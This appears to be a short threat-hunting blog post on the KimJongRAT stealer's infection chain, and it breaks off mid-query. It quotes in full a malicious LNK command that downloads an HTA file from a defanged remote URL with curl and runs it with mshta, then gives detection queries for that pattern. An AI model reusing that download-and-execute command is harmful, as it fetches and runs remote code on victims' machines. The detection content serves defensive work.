169. Regular Stealer - Lots of Detection and Hunting Opportunities
Hello everyone! We can get threat hunting and detection ideas not only from advanced threats, but also from commodity malware. Let's look at KimJongRAT infection chain described by Unit42. Here we're dealing with malicious LNK-files ome more time. The file executes the following command: "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\<USER>\AppData\Local\Temp && curl -O https://cdn[.]glitch[.]global/2eefa6a0-44ff-4979-9a9c-689be652996d/sfmw.hta?v=2 && mshta C:\Users\<USER>\AppData\Local\Temp\sfmw.hta Once again we see cURL abused to download a malicious file, this time an HTA, and mshta.exe to execute it. So, the first hunting idea is to look for cURL downloading HTA files: event_type: "processcreatewin" AND proc_file_name: "curl.exe" AND cmdline: "hta" Next thing - mshta.exe and suspicious folders: event_type: "processcreatewin" AND proc_file_name: "mshta.exe" AND cmdline: "local\...